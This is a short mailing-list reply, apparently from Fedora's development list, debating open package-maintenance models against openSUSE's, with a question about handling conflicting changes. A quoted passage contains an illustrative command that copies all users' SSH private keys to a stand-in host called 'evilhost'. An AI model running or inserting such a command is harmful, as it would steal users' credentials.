Question about "what to do if mantainer is absent"

Pete Zaitcev zaitcev at
Wed May 15 18:21:48 UTC 2013

On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro <mike.catanzaro at> wrote:

> Well the open model has already been tried and proven in openSUSE, and
> they're still using it because it actually works really well.  There
> aren't usually any issues regarding overlap of work, though admittedly
> that community is a smaller than Fedora's. It's hard to get away with
> scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed
> by a small group of maintainers responsible for a collection of
> packages.

How do they deal with a conflict? Imagine someone there splitting
texlive into 2500 subpackages and then 100 angry contributors
reverting it. What are they going to do in their "open" model then?

-- Pete

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